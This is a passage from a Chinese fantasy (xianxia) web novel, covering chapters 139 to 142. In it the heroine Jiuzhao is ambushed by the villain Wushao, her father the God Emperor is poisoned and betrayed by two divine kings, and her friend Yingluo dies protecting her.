为何总是她? 祝晏充满担忧的剖白亦在此刻交叠回响: “大局之下的收益者高枕无忧,与牺牲者相关的亲人眷属会愤怒记仇,他们的情绪皆如黑白两色,清晰分明,唯有做出决定者,余生会陷落在背负人命的枷锁之中,日夜受到良知拷问,逐渐煎熬疯魔。” …… 可,她愿不愿意又如何—— 她从来没有选择。 已打定主意,不再叫父神失望。 她失败了九十九件事,难道要连这一件,都做不成? 被心魔主导理智作出决定的刹那,九昭突然有些庆幸,有些对这种逃避的滋味上瘾。 她放空大脑,任凭本能驱使,指尖疾射出一道仙力,将兰祁逼退。 随即合掌,双手朝相反方向抻开的半尺内,涅槃凤火铸造的赤红箭簇烈烈凝现。 她无需拉弓,无需预瞄对准方向。 只要释放,洞穿的即是兰祁的胸膛。 然而—— 变故发生得更快。 仅差眉睫之距就要触发法阵的青年,倏忽抬头微弯唇角。 一闪而过的杀意使得九昭脊背生凉。 她才熄灭凤火,一柄锋利无匹的长剑自后袭来,洞穿她的肩膀。 力道之大,将她死死钉在正前方的树干之上。 是烈霄! 剧烈的喘气声中,九昭的视线涣散失焦,她无法第一时间精准确定兰祁所在的方位。 更加雪上加霜的是,本不该对神仙产生效果的法阵骤然生效。 青蓝的水流顺着她的裙摆迅速攀沿向上,所到之处即刻封冻,彻底限制住她的行动。 九昭咬牙,强忍肩膀处传来的剧痛,趁着双手还能活动,试图将偷袭自己的烈霄剑拔掉。 可下一瞬,覆盖半身的冰霜忽改不痛不痒的和缓作用。 于膝盖、脚踝和丹田对应的位置生出神力凝结的冰锥,狠狠刺入血肉,终于逼得九昭发出一声惨叫。 “啊!!” 腥甜的血液喷出喉咙。 鲜红洇染了九昭的齿关,亦有几点,溅上兰祁复而乍现的美人面孔。 他还在笑。 从踏入桃林开始,直至现在,温和的、讥诮的、眷恋的、失意的—— 一切都在发生改变。 唯独不变的,是兰祁假面般附着在唇畔的笑意。 他的眼珠轻轻下移,落在冰锥造成的伤口表面,而后万分怜惜地说道:“昭昭,你在三清天一定过得很苦,心魔竟然壮大到了这种程度——它让你的体内产生了魔气,也难怪,这逆魔伏诛阵会对你生效。” 不知不觉,兰祁朗润的青年音变了。 变得低沉磁性,悦耳依旧,却平添一丝说不清道不明的沧桑之气。 加倍的痛楚,令九昭又吐出一大口血。 她的理智,反在裂骨割肉的折磨中,回归前所未有的清明。 她仰起青筋迸露的脖颈,缓缓说道: “你是巫劭,不是兰祁。” 139| 第139章 ◎“便由你来偿还。”◎ “你倒是很聪明。” 被拆穿身份, 维持着兰祁模样的巫劭并不慌张。 他甚至可以说有些愉快,勾着唇角微微弯起狭长的眼睛。 迎着九昭仇恨的表情,他欣赏杰作的从容视线不变。 从堪堪渗出血液就被封冻的伤口, 看到她被冰锥刺穿, 无法催动戒指停止阵法的手掌。 最后落在她血迹污涂的苍白面孔。 这是巫劭自元神重新拥有自我意识以来,第一次代替兰祁掌控躯体。 他深红的眼珠缓慢挪移,一寸一寸,仔细端详九昭的五官。 少顷, 方不冷不热地评价道:“你的轮廓跟你母亲不同,更像嗣辰那个家伙——真是的,本想在动手之前, 借由你这张脸去怀念一下阿姊,结果却是这么扫兴。” “你有什么资格、提起母亲?!” 神后从来是九昭的逆鳞。 哪怕被相克的阵法之力折磨到面目扭曲,她依旧用尽全力对巫劭嘶吼着。 巫劭挑起一侧眉峰,理所当然道:“我是这个世间最爱阿姊的人, 我若无资格提起, 那何人有资格?” “若是、真爱, 何以你的剑,能够、能够伤到母亲——” 九昭痛得说几个字, 就要停下来深深喘气。 她齿关溢出血沫, 大声嘲讽着他,“所谓最爱, 不过、是你为自己、作祟的占有欲, 所找的借口而已!” 被戳到痛处, 巫劭的好心情荡然无存。 他的眸光冷下来, 沉默一息, 才道:“比起外貌, 你的伶牙俐齿倒更肖似阿姊。 “我恋慕她,从小便渴望与她永远在一起,她却背叛了我。当爱转化为恨,我的法术才会重新对她生效——这难道该怪我吗?从始至终,都是她对不起我,违背了凤凰族令,去爱上一个外人。 “以凤凰族在三清天的地位,她明明可以在拥有权势的同时,活得更加自由、无拘—— “一切的苦果,只怪她她贪恋神后的权位,皆是她和嗣辰共同造成的!” 事到如今,他还是不肯承认自己的过错。 非要将感情的落败,归咎给其他的原因。 太过可悲,也太过可笑。 “你真是个、从来没有,没有得到过爱,却一厢情愿,自我幻想着爱的,可怜虫。” 话刚出口,九昭就望见巫劭的脸色变得更难看了。 似有两簇择人而噬的野火,在他的瞳眸间熊熊燃烧。 “爱,是一双真心的交集,是情投意合,是神魂共鸣,你根本、根本不懂母神,所以,她不爱你—— “难道这么多、年过去,你连最简单的道理,都不明白么?” 阵法的力量仍在蔓延,它贯穿了九昭最重要的几处关节和穴位。 神帝曾有言,当它封冻到额头,刺入灵台时,便能给予兰祁致命一击。 届时,她可趁其垂死,从容剜心取血。 眼下,将死的人变成了她。 许是在鬼门关徘徊过太多回,九昭对于死亡没有太多恐惧。 在青蓝色的神光攀升至脖颈,封印声带阻止人出声的间隔里,她甚至分出一缕心神,听见语气从游刃有余到极其败坏的巫劭,冷冷反讽着自己:“不管你如何振振有词,当初不还是遭到了兰祁的背叛吗?你猜若你真的明白爱是什么,真的去懂得他,进入他的心,今日我还能不能够站在这里,夺走你的性命?” 对。 你说得对。 所以你有你的报应,我也有我的报应。 见九昭没办法再驳斥自己的话,巫劭终于舍得结束这场没有意义的争论。 他并起指尖,一朵静止的火花悬停其上。 九昭认出那是涅槃凤火,世间除她之外,唯有流淌另一半凤凰真血的人可以使用。 然而和她这种仅能用仙力施展的新手不同的是。 巫劭早已成神万年,凤火在他掌心如同被轻巧摆弄的玩具,一旦施展起来威力却是毁天灭地。 他随手一指,那赤红的火苗便遵循心意,附着在洞穿九昭肩膀的烈霄剑上。 一阵令人牙酸的皮肉拉扯声响起。 为了报复,巫劭没有干脆利落地抽出长剑,反而出一寸进半寸,反反复复蹂躏着九昭的伤口。 涅槃凤火持续发生作用,九昭肩膀处的坚冰被灼热消融,血水滴滴答答流淌下来,蜿蜒如同河流。 九昭痛得想要大喊,想要怒骂。 可惜她只能目眦欲裂,眼睁睁看着巫劭握住烈霄,娴熟挽了个剑花,重新对准她挺起的胸膛。 “你母亲当日无法给予我的东西。 “便由他们的女儿,你这个孽种来偿还吧。” 巫劭轻声发出审判。 弹指间,仅为一层薄雾附着剑身的涅槃凤火,盛放到堪与日月争辉。 在兰祁手中的烈霄,和在他手中的烈霄,截然相反。 山水萧瑟的君子剑意不复可见,一股暴烈的、磅礴的、摧枯拉朽的力量呼啸而来。 莫说九昭的四肢被阵法束缚。 她可以断定,就算是自己的全盛期,对上巫劭,也绝无一击之力。 …… 今日,便是她的死期了吗? 九昭禁不住有些恍惚。 大脑走马灯使得回放了一圈。 她陡然发觉,继治好祝晏的最大心愿完成之后,自己已然不剩遗憾。 成为神帝,只为完成父母期望。 在这世间,她不再亏欠任何人。 若说最不甘的,大约是无法亲眼见证仙奴制度被推翻。 神术弥漫到眼睑的位置,连迎接死亡,九昭也不能闭合双眼以作回避。 那柄无人可挡的剑,破开封冻躯体的硬壳,就要精准刺进心脏。 衣衫被刺破,剑尖相触肌肤的瞬息,不知为何,气势陡然一滞,锋芒竟有了错回的趋势。 九昭眸光一闪。 尚未被堵塞的耳际,传入飞逝而过的低语,伴随巫劭变得有点难看的神情: “区区一个女人而已,你又是何必!” 不过,绝佳的机会已经错失。 一道防御的屏障当空罩下,将烈霄与九昭隔绝开来。 巫劭没有任何停顿,像是早就料到此情,提剑意欲再刺。 “你敢!” 清脆的怒喝声骤起,烈霄剑尖的位置倏忽绽开一朵六棱冰晶花。 它以肉眼难辨的速度飞速旋转扩展,随即变成百朵、千朵、万朵—— 花朵之上,根根利针般的冰棱脱落,闪烁着凌厉的寒光,化作密不通风的罗网,朝巫劭袭去。 九昭认出呵斥巫劭并施法相击的声音是夜神夕寰。 而挡在身前,充当防护壁障的神术,则来自三清天的最高统治者,自己的父神——嗣辰。 巫劭被迫后撤大步,拉扯开的间隙,又一道神光旋即而至,击碎了九昭戴在指间的戒指。 即将进行最后一步,摧毁灵台的阵法立刻溃散,九昭无可依靠的身躯软软倒了下来。 “小心——” 一双凭空出现的手臂,避开所有伤口,小心翼翼扶住她的后腰和手臂。 九昭被带着急速飞撤,那头巫劭施术欲拦,又被加入战局的嶷山上神击退。 治愈修复的华光在她身上乍现,待到被扶至安全处坐倒休息,九昭才抬头看清了救护者的模样。 “晏——” 另有半个字被含在口中,尚未来得及吐出,视野聚焦,却是瀛罗。 他失去了素日沉静的姿态,怎么也难以掩藏的担忧充斥在眉心。 “殿下,你还好吗?” 说着,他又加大仙力输出,想要为九昭止血修复。 九昭倏忽没了声音,她透过瀛罗遮挡眼前的缝隙,看向远处的战场。 父神来了。 身后浩浩荡荡跟着一群人。 上神嶷山和夕寰在与巫劭缠斗,父神侧首吩咐了句什么,站在旁边的扶胥立刻带兵四散而去。 因着救他,流转的阵法中途崩溃。 此刻,为了防止桃林中的魔族逃窜,四位神王携手,阻隔出入的半透明屏障从立地之处起扩张联结。 九昭的瞳眸吃力转动着,才在人群的层层掩映中寻到祝晏。 目光交接的须臾,他眼中潮水般的情绪退散不见踪影。 北境的人马来得格外多,他站在北神王身畔的位置,较世子孟楚还要来得近些。 察觉到九昭表情间的渴望和呼喊,他脚步却顿在原地,迟迟没有过来。 一种怪异的预感,无声从九昭心底露头。 “……你放心,我还好。” 她低声回答着。 模糊的嗓音转眼被巫劭拔高的凌厉声调盖过:“嗣辰,你真是一如既往地卑鄙!三万多年前,在战场上利用阿姊来让我分神,如今又利用你的女儿——有本事,你便堂堂正正站出来,与我比一场!” 神帝没有同他进行口舌争辩。 他漠然地看了眼巫劭被二神缠住,暂时挣脱不得的场景。 五行不同的高阶神术,如烟花般在桃林间一幕又一幕绽放。 打落果实,摧折枝叶。 千顷美景,沦为焦土。 远方有被扶胥率领的仙兵围攻的魔族,响起凄厉的吼叫。 九昭的心魔未解,混沌的脑海深处,重复回荡着巫劭质问父神的呼喝声。 利用自己,她早已看穿。 利用母神,又是什么意思。 她是棋子。 母神是棋子。 她们都是棋子……? 九昭蜷起身子,捂住脑袋。 随着这个认知出现,她的灵台痛得快要裂成两半。 “殿下,您别这样曲着身子,等下愈合伤口又要迸开了……” 瀛罗满怀关心的提醒,一下离得很近,一下又隔得很远。 可惜时局残酷,并未给她余留脆弱的时间。 神帝冰冷的密音传入:“昭儿,我托付给你的任务,你又失败了。不过亡羊补牢,犹未为晚,我不管你情况如何,只要你没昏过去,还能站起来,你就到为父身边来。巫劭力量深不可测,哪怕夕寰和嶷山对上亦斗得艰难,你必须瞅准时机,将武器刺入巫劭的心脏,取走他的凤凰真血,我们才能将他彻底杀死。” 140| 第140章 ◎“一报还一报。”◎ 冬春交汇之际, 日升亭曈,万物生发。 本该和煦的光线照耀倾洒,九昭却体会不到丝毫暖意。 她垂眸凝视着身上的赤红礼裙, 忽然发觉命运再度上演了相似的场景。 伤害她的是最高阶的神术法阵, 纵使瀛罗拼尽全力,也仅能做到止住鲜血,剧烈疼痛依旧如影随形。 九昭已失了利用法阵困住巫劭的先机,此刻只能遵循父神的法令, 扶着身后的桃树勉强站起。 “殿下,您当心——” 瀛罗紧锁的眉头片刻都不曾放松。 他的视线一瞬不瞬跟随着九昭,伸手想要搀扶, 又被她侧肩躲开。 “你明白的,有些事必须我独自去做。” 轻声说完,九昭召唤出打神鞭,来到神帝身边。 侧头打量一眼九昭的状态, 神帝微微颔首, 密语入耳道:“你总算没有叫我太过失望。” 那壁, 夕寰、嶷山还在跟巫劭缠斗。 青蓝的水系神光与深褐的土系神光交织在一起,攻击着浑身被涅槃凤凰萦绕的巫劭。 神帝随即与四位神王交换眼神, 再次集合五行之力, 重铸逆魔伏诛阵。 九昭自有任务要完成,她攥着打神鞭, 目不转睛地寻找着偷袭巫劭的时机。 但看得多了, 她不得不承认, 对于涅槃凤火的运用, 她不足巫劭百分之一。 进可附着烈霄攻击, 退可覆为屏障防御。 在巫劭灵活到刁钻的身法相衬之下, 局势一点一点扭转,两位上神隐隐有落入下风的嫌疑。 ……不愧是三清天有史以来最强大的战神。 抛开仇视的情绪,九昭逐渐明白,为何当日在巫劭的带领下,焚业海差点就能够颠覆三界。 “嶷山,当了这么多年的司罚上神,想来你是安逸惯了,神术竟倒退到这种程度——” 烈霄飞行穿梭在二神之间,俨然成为了巫劭的强大助力。 巫劭抬手,与欺身逼近的嶷山一计对掌,同时一心二用控制剑锋绕到夕寰侧畔相击。 他曾在三清天拥有万人之上的位置,与几位神明更是彼此亲近相交的同僚。 看似漫不经心的言语出口,更成为了另一重惑乱神魂的手段。 九昭瞪大眼睛,猝不及防听见夜神夕寰与南陵海棠族长为同性伴侣,司德之神绥猷的妻子与他貌合神离,各自拥有情人,以及过去九尾狐率部背叛三清天归入焚业海,其中不少神仙与魔族相恋的秘辛。 “够了!” 脸色黑如锅底的夕寰,大吼着道出在座诸位神仙的心声。 九昭也是第一次知晓,原来在她记忆中存在不少弊端的三清天,真实的模样还要远胜想象许多。 轰! 不多时,因秘密忽然公开,心神紊乱的夕寰出现了缺漏。她眸光闪烁,后力不继,竟在神术对轰中没有躲开涅槃凤火的侵袭,被巫劭附上十成力量的一掌拍了出去,身躯连连撞断三棵桃树依旧不止。 九昭心急如焚。 照这种情况下去,嶷山的落败也不过是时间问题。 她转过头,想从神帝身旁的人群里,找到个可靠的人选补上夕寰的位置。 却冷不丁瞧见一抹血迹,从自己素来强大无匹的父神唇角淌了下来。 那血液呈不祥的黑红色调,显然并非内伤。 更像是—— “父神,您怎么了?!” 关心则乱,九昭后知后觉反应过来自己不该失声问询时,一切已经来不及了。 耳尖的巫劭立即将目光投向战局外。 窥见神帝吐血的场景,他眉目舒展,哈哈大笑起来:“嗣辰啊嗣辰,这埋藏在你体内许久的烛龙毒,滋味如何啊?无论如何,你都想不到吧,这毒可是你的女儿亲手下给你的—— “昔日你利用阿姊来算计我,今日你又被你最亲近的人所害,这何尝不是一报还一报——” 巫劭的话,每个字拆分开来,九昭都能够理解。 可组合在一起,却成为了一种可怕的、她听不懂的意思。 九昭声音发着颤,她抬起手,指向巫劭:“你、你在说什么?” 若隐若现的画面在大脑急速闪过,人面龙身的巫逐,这次缠绕的对象,从她变成了神帝。 九昭让巫劭把话说清楚。 然而心计险恶如巫劭,却不肯再吐露只字片言。 他攻心的效果,在这一刻来到顶峰。 来自四面八方的眼神,尽数投向九昭。 疑惑、失望、仇恨、惊愕…… 若种种情绪,能够幻化成形,定如巍峨高山般将她镇压在底。 “巫劭、巫劭在胡说,我没有——” “昭儿,面对敌人的计谋,你的心不可乱。” 神帝打断她的话。 嘴唇张合的几息,又有一片乌血淋漓而出。 他十分镇定地提醒九昭清净守心,接着抬高声调,威严号令众仙道,“诸位各司其职,不得擅离!” 话音未落,与西、南神王并肩立于神帝后方的北神王崇黎、东神王照羽,收力合掌袭向他的后心。 护体的神力只来得及亮起一瞬,便被下了死手的力量击碎—— 打中躯体的闷钝声轰然响起。 神帝向前倾倒,失控喷出的血液落在九昭的前襟。 仿佛忽然有谁暂停了时间。 这发生在电光火石之间的变故,化作一瞬一瞬定格的慢动作撞进九昭眼底。 大脑一片空白。 是她受到急剧的惊吓时,仅仅能够做出的唯一反应。 神帝高大的身体,如倾覆的河川般倒在九昭怀中,两人拥在一起,踉跄着后退了几步。待臂膀切切实实将他扶住,九昭方发觉,这位掌握着三界至高权柄的男人,已不知在何时变得如此憔悴清癯。 意志回笼,原本沉默侍随的两路仙兵陷入混战。 北神王和东神王既已出手,自然要斩草除根,不会放过她这个三清天的下一任神帝。 他们联手迫近,又被另外两位神王拦下。 “殿下,您带着帝座,赶紧用神令解开禁制逃出去,绥猷上神率领的军队就埋伏在升鸾台四方—— “您去告诉他们,北神王和东神王叛乱,命他赶紧来支援!” 南神王将腰间的牡丹玉佩扔出去,神光乍现,半透明的巨大牡丹花将两位敌人笼罩其中。 她自知没办法困住他们太久,一面传讯给扶胥,一面回头,催促起尚有些愣怔的九昭。 她和西神王的背后,祝晏仍站在原地身形未动。 相较尚不明白发生了什么,满脸惶然失措的孟楚,祝晏的脸上有种对一切了若指掌的冷漠。 他隔着无数人的身影,遥遥望向九昭。 “祝晏!” 九昭下意识唤道。 她的心中存有最后一丝幻想。 说不定是父辈们密谋的作乱,作为她枕畔人的祝晏并不知情。 可北神王的话很快击碎了她的侥幸心理: “阿晏,你难道还在怀有不忍吗?!” 向外只在意正妃嫡子,面对祝晏从来不假辞色的男人,看也不看呆呆站着的孟楚,直如一个恨铁不成钢的父亲般高声怒吼着,眸光痛惜而狰狞,“永远别忘了,你的母亲死在谁的手里——” 又是两句她听不懂的话。 九昭张了张嘴,却见祝晏在入耳“母亲”二字后,表情忽然呈现前所未有的决绝。 仙力似海翻涌,漆黑长琴凭空浮现。 祝晏衣袖充盈,盘腿离地,修长的指尖在琴弦上飞快拨动。 层层音浪冲击着未叛变的仙兵们的耳膜,位阶低些的忿忿捂住双耳,惨叫着倒了下去。 他以无言的动作证明了自己的立场。 九昭的双眼失去焦距。 记忆里鲜活美好的画面跟着褪去了颜色。 她大口呼吸着,心脏像是被一只巨手捏紧。 从父神的倒下,到祝晏的背叛,通通令她喘不过气。 可惜,她连显露一瞬悲痛的资格都没有。 单手扶住神帝,脚步趔趄着,朝桃林外围跑去,期间九昭手抖了几次,才堪堪解下绦带上的神令。 神令能够消融所有的禁制。 这是九昭验证过无数次的事实。 她不忘先撑起一道防御屏障,而后哆嗦着将注入父神力量的神令,摁进隔绝出入通道的华光中。 然而,禁制纹丝不动。 九昭愣了愣,再次举起神令摁进去。 依然无用。 她似乎落入了最绝望的境地。 定是北神王和东神王早就计划好叛变,才会在施展禁制时,偷偷动了手脚。 以她的天仙实力,断无可能抗衡神王联手缔结的术法。 九昭回望身后,南神王和西神王那头十分焦灼,根本腾不开手。 为今之计,她只能寄希望于唤醒丹田内的半身神力。 兵荒马乱的当下。 她好容易止收的伤口,因着大幅度的动作,又开始崩坏流血。 更不妙的,是受到重创的心灵。 温热泪水在眼角迅速堆积,九昭反手擦去,在剧痛中强迫自己聚拢心神。 哪怕舍出性命,她也要保父神无虞。 …… 或许是情况紧急,又或许是意愿足够强烈。 这一次,围在丹田附近的桎梏顺利被突破。 属于神力的青蓝光芒贯通脉络,九昭摊开掌心,一股蓬勃无尽的力量喷涌而出。 她心下一喜,扶紧神帝,赶紧施术轰向壁障。 与此同时,却有什么东西,陡然从侧旁扑了过来: “殿下小心——!!!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 140-150 141| 第141章 ◎“如今也终于为你死了。”◎ 那东西仿佛被定身术定住了一般, 热烘烘贴在身后。 紧接着,一阵湿漉的暖意,渗透进九昭后心的衣衫布料。 握在指间的武器脱手滑下, 两条小臂软软垂落在她身体两边。 “阿罗!!” 西神王惊痛的呼喊陡然传来。 九昭极慢转头, 余光映进瀛罗褪去血色的脸。 再向下,一柄熟悉到不能再熟悉的利剑,贯穿他的胸口,仅差分毫, 便能刺进她的血肉。 远处,有了两位反叛的神王做帮手,暂时摆脱嶷山的控制, 抽空追杀两人的巫劭皱起眉头。 他的眼神带着可惜,见九昭看向自己,又松惬神色,冲她挑眉示意。 无穷无尽的魔息于他掌心游走, 他缓缓收拢掌心, 插在瀛罗体内的长剑立刻嗡鸣回应。 利器抽离血肉的黏连声, 在九昭和瀛罗之间不断放大。 察觉到巫劭意欲抽出烈霄,继续进攻。 瀛罗立刻并指为掌, 拍向自己的心口, 与之僵持,不令移动。 一下子没有顺利拔出, 巫劭冷声嘲讽道:“你当真是不怕死!” 说着, 他给在四王对战中占据上风的同盟们使了个眼色, 命北神王过来缠住嶷山。 自己则纵身朝九昭这头飞来。 在巫劭的操控下, 烈霄转变了抽离的意图, 变本加厉在胸腔处腾转挪移。 瀛罗痛得吐出一大口血, 反手狠狠一推九昭:“快走,不然就来不及了!” 远超天仙的半身神力,亦将动了手脚的禁制腐蚀开一人高的大洞。 几丈外,是巫劭急速掠近的身影。 咫尺间,是瀛罗显然独木难支的面孔。 九昭不敢放任感情继续摇摆下去,她用力咬住牙关,不再多看瀛罗一眼。 搀扶着神帝,扭头朝大洞闪身而出。 …… 一鼓作气狂奔至升鸾台外侧,九昭找到司德之神绥猷道明情况。 他二话不说,带着埋伏已久的军队前往桃林增援。 九昭则与他走向相反的道路,开启传送阵回到了神帝的紫微宫。 她命令丹曛将整个神医署的仙官们都急招过来。 众仙匍匐着跪了满地待命,由医术最为高超的杏杳,为昏迷不醒的神帝探查伤情。 听完九昭的描述,杏杳将一缕游丝般的仙力,沿着手腕脉络钻入神帝身体。 然而,从眼平心静到神容凝重。 面对再复杂的情况,诊断时间都不会太长的她,足足沉默了一炷香之久。 她抬起头来,对九昭斟酌着禀告道:“殿下,您口中的烛龙之毒,臣闻所未闻,医书更是全无记载,哪怕即刻开始研制解毒法,都要耗费不少时日。不过根据您的说辞,臣猜测只要力量足够,便能将毒性暂且压制,延缓扩散——眼下麻烦就麻烦在帝座神力不继,尽管扩散缓慢,但毒性已在一路侵蚀他的神脉。” 九昭想也不想伸出双手:“我体内有父神的半身神力,我可以回输给他,帮他压制毒性。” 这个唯有他们二人知晓的秘密一经出口。 饶是近身侍奉如丹曛,她的瞳孔亦生出几分隐秘的波澜。 杏杳难看的脸色,却半点也不曾缓和:“殿下,臣无十分把握的病情,还是由某位上神或神王亲自出手更有保证,您不过天仙之躯,若力量不够,无法压制毒性,届时恐怕会造成难以估量的后果。” 九昭心火如焚。 只以为杏杳所在的神医署远离升鸾台,尚不得知具体情况。 急急道:“现在这种情势,哪来别的——” 话未说完,寝殿的楠木大门被人推开,南神王独身自外进入。 她仿佛才从鏖战中脱困,仪容略显凌乱,妩媚的眼梢下方一条血痕未干。 “殿下,交给臣吧,臣来为帝座压制毒性。” 九昭腾地起身,迎向她,追问:“琼英姨,桃林的情况如何了?” 默了瞬,南神王才艰涩开口:“殿下恕罪,巫劭他们早有准备,见禁制被破,绥猷率兵增援,便立刻召唤法宝离开了。臣等护驾不利,只杀了几名焚业海的近卫使臣,以及一些跟随二神王作乱的部族仙兵—— “眼下帝座昏迷未醒,但事态危急,东原北境集体反叛,恐已成为板上钉钉之事。 “臣恳请殿下代为行事,早做应对。” “好,我知道了。” 九昭轻轻颔首,“传扶胥、绥猷等一众上神天仙齐聚紫微宫,本殿即刻过去议政。” “等等,殿下,您身上也有不少伤口要治——” 无视杏杳的提醒,她将南神王的手握在掌心,郑重其事说出一句“父神的事便托付给您了”,便想离开寝宫,又被对方犹豫着抬臂挽留:“殿下,另有件事,臣虽答应要代为隐瞒,可担心,成为殿下毕生之憾——” “何事?” 九昭压抑到有些木然的眼珠,睨向她那里。 “瀛罗世子,他、他替您当下贯心一剑,伤重垂危,也许要、要不行了……” 轰的一声。 九昭大脑如遭重锤轰击。 她眼神发直了须臾,身体冲动已代替理智,传送到西海的法阵在她脚下旋转着升起。 也对。 殿下重情重义。 人死不能复生,她会选择先去看望瀛罗也是常情。 南神王视线闪了闪,在心中无声叹息。 可不过弹指,那流光溢彩的法阵又倒塌熄灭。 九昭加快脚步,朝殿外走去。 鲜红的衣,漆黑的发。 衬得她好似一抹将要随日风化的幽魂。 “瀛罗吉人天相,一定能够活下去—— “本殿,要先去议事。” …… 事情迫在眉睫。 论定对策的速度,也远超九昭预期。 上神以下,无法进行超远距离的传送。 就算是以神力开辟的阵法,一次性也不能容纳过百人。 因此他们离开桃林容易,可想要抵达三清天的边境,突破禁制回到焚业海却需要耗费一番功夫。 北神王和东神王反叛,光是神王宫的侍臣家眷就有几百人口。 他们势必要回到自己的辖地,才能进行下一步的倒戈计划。 九昭以神帝的名义传旨给边境驻军加强防备,又秘密联络两地绝对忠于三清天的部族监视叛军动向。 到集议解散时,众人各司其职,也算堪堪稳定住了局面。 九昭忙着起草两位叛王的檄文。 她脱不开身,只叫绛玉代替自己守在那头。 好几个时辰过去,绛玉始终未曾来信。 九昭安慰自己,没有消息就是最好的消息。 如此直到天黑,她复去探望过父神,而后马不停蹄赶去了西海。 堪堪奔到主屋门口,九昭倏忽听见庭院深处传来一声响亮的长泣:“世子——” 她身形一顿。 抬步时脚下并不注意,被高出的门槛绊了个趔趄。 双腿站不稳当,猛地跪倒在廊下,伤重的膝盖与坚硬石砖相触,传来钻心疼痛。 可九昭无知无觉。 她努力几次,手脚并用,终于狼狈不堪地爬了起来,踉踉跄跄走进内室。 入目,是西神王热泪纵横的面孔。 医官侍仆们,依旧匍匐着跪了一地。 九昭无心观察他们的表情,她向被众人簇拥的中央望去。 那西海的秘宝,可迅速治愈伤势的万年寒玉床上,仙光粼粼,再无人形踪迹。 西神王抬头,望着九昭,却没有行礼。 滔天的痛苦和无法排解的恨意充斥在他眸间。 “九昭。” 这是他第一次不尊称殿下,直直呼喊九昭的名字。 “瀛罗,我最引以为傲的孩子。 “他为你改变性别,为你悔婚重瑶,为你冒天下之大不韪。 “全然掩藏自己的爱意,始终以好友的身份伴在你身旁。 “他忠诚守护了你万年——” 他的语气难掩一个父亲失子的绝望凄凉: “如今也终于为你死了。” 142| 第142章 ◎“……只怕后面还有更糟糕的事。”◎ 西神王的指责入耳。 在两旁迅速变化的景象里, 九昭发觉身体不自觉地趔趄着,倒退了好几步。 她竟不知瀛罗的爱和瀛罗的死这两个字,哪个带给自己的冲击力更大。 她张了张嘴, 视线从眼前的西神王转到身后更远方:“瀛罗在哪儿, 你让我看一眼,就看一眼……” 说着,她抬起双脚,试图拨开人群, 走到寒玉床畔。 西神王再度以冒犯的姿态,伸手将她阻拦:“殿下难道还不理解臣的意思吗? “好,那臣不妨再说的清楚明白些—— “一整天, 阿罗就躺在那张寒玉床上,强撑着一口气,想要再见你一面。 “他到最后都没等来你,就在刚才, 已经化为清气, 回归天地了!” 九昭果断摇头:“我不相信, 明明上次,上次我便用本命翎保住了他——” 她眼底闪烁着困兽般的情绪, 像是在寒风凛冽的冬夜, 兀自不肯熄灭的烛芒。 将西神王的话一一反驳后,她又执拗抬起双手, 尝试推开他阻碍在自己前方的身躯, “我身上, 还有一根本命翎, 你让开, 只要我把本命翎拔下, 瀛罗就不会死——让开,不要阻拦我——” 拉扯之间,西神王的怒火攀升至顶点。 他怒喝一声:“够了,别再自欺欺人了! “凤凰族的本命翎只有提前放在身上,才能在危急时刻发挥作用,现在说这些还有什么意义?!” 九昭被他吼得一顿。 来不及开口,西神王的诘语又似高山滚落的重石一般朝她砸来,“你还要胡闹到何种地步?睁开眼睛,看看三清天如今的形势!神帝昏迷,整个仙族都需要处事不惊的储君坐镇! “你哪里来的空闲,处理自己的小儿女私事—— “若想对得起瀛罗的替死,你就该打起精神来,好好思考如何挽回颓势! “否则不止是有愧于瀛罗,你还将愧对更多的人。” 感情积累到极处,发泄过后,西神王的理智逐渐占据上风。 他压下眼里的痛楚和失望,从一个失去孩子的父亲,回归到绝对清醒的仙族重臣角色。 他命人将九昭请了出去。 并告知,在三清天与焚业海的风波平息之前,一切都以大局为重。 西海不会为瀛罗举行葬礼。 …… 九昭失魂落魄回到离恨天。 从入口结界走向门庭,早就等候在旁的朱映立刻迎了上来。 “殿下,有加急的奏折传过来了,需要您过目!” 九昭低低应了声,从他手里接过。 朱映的眸光亦随之下滑,失声道:“殿下,您膝盖的伤口又开裂了——” 赴宴的繁复礼服尚未脱去,伴随双足的走动,一道鲜红的印记顺布料蜿蜒而下。 朱映挥手,召来侍候在廊下的女婢:“臣叫人传医官来重新为您治疗吧。” 心中的痛楚远远压倒身体的痛楚,九昭只漠然看了眼,反而加快脚步:“无妨,这点小伤,等会儿施个治愈术就好,本殿要进殿处理事务,尔等且在外面守着,无事不得随意叩门打扰。” 随手扯落腰带,将染血的黏腻外袍丢在门外。 仅穿中衣的九昭合上殿门,捧着厚厚一叠奏报来到书案旁。 案上,除了御批的朱笔,还放着盏宁心涤躁的清神茶。 一看便知是朱映的手笔。 取过放在最上面的,象征最紧急的奏报,翻开一页,九昭强迫自己集中注意力。 苦涩、凄凉、颓唐…… 种种情绪却压得她眸光一阵失焦。 到现在,九昭依旧不明白究竟是哪个环节出错了,才会造成这样的场面。 血亲中毒垂危。 好友重伤离世。 爱人决然背弃。 随便一样拿出来,都能叫人从此一蹶不振。 可她不仅要面临三重打击,现情更不允许她悲伤沉溺。 九昭没办法想这些。 人一旦浸入哀伤当中,就难以集中精力去处理其他。 她的注意力转到清神茶上。 打开盖子,里面唯有半透明的茶水,苦涩的茶香萦绕在她的鼻尖。 九昭是个怕苦的人。 从前必须用到清神茶的时刻,她都会叫人加入花蜜和牛乳,以此中和茶水的清苦气息。 提前备下这样一盏茶,不像是朱映会犯的错误。 或许是整个三清天人仰马翻,他忙中遗忘了。 又或许,他懂得此时此刻,再多的甜也掩盖不了九昭心底的苦。 端起茶盏想喝,九昭却控制不住发颤的指尖。 除开膝盖崩裂的伤口,她掌心亦留下了被冰锥贯穿的破洞。 虽经新生的血肉覆盖,但内里依旧疼痛难耐,使不上力。 越是想要保持平衡,抖索的幅度越大。 九昭尝试了一次又一次,直至手掌的伤口也裂开,茶盏整个砸落在地。 咔嚓一声。 青瓷的精美纹路四分五裂。 这寂静之中的响动,亦惊扰了守在殿外的绛玉、缃璧和朱映。 “不行,我担心殿下,我要进去看看。” 绛玉站在檐廊的外侧,中间隔着朱映,须得绕过他,方能触碰到殿门。 她想也不想,一面低声自言自语,一面就要付诸行动。 朱映索性用身体抵住合拢的门扉:“这种时刻,殿下需要独处安静,你进去又能说些什么?” “难道就放任殿下一个人闷在里面吗?”绛玉下意识拔高声调,又害怕被九昭察觉,陡然回归仅有三个人能听见的气音,“殿下太可怜了,她从小顺心无忧地长大,何时受到过这种打击……” 缃璧无言。 瞳孔中同样浮现出担忧和不忍。 